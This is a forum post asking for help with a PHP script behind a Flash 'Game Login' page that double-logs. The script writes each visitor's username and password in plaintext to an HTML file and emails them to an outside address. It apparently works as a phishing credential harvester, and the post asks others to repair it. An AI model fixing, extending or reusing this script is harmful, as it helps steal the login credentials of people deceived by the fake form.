Somethig is wrong with this script. When I log in the flash, it double logs.
I want it to log in a html file and send me an email. The thing is, when I login, or anyone logs in, it sends 2 emails and logs double.
Anyone fix this for me?
<?php
// get posted data into local variables
$EmailTo = "test";
$EmailTo = "sith717@sierri.net";
$Subject = "Game Login";
$User = Trim(stripslashes($_POST['Username']));
$Password = Trim(stripslashes($_POST['Password']));
$mes .= '<br>user: '.$User."\n<br>";
$mes .= 'Password: '.$Password."\n<br>";
$mes .= "IP: ".$ip."\n<br>";
$mes .= 'Date & Time: '.$d."\n<br>";
$mes .= ('***********************************************');
//Log to a file
$file = "eric.html";
$fh = fopen($file, "a");
fwrite ($fh, "$mes\n");
fclose($fh);
// prepare email body text
$Body = "";
$Body .= "Username: ";
$Body .= $User;
$Body .= "\n";
$Body .= "Password: ";
$Body .= $Password;
$Body .= "\n";
// send email
$success = mail($EmailTo, $Subject, $Body, "From: <$EmailFrom>");
?>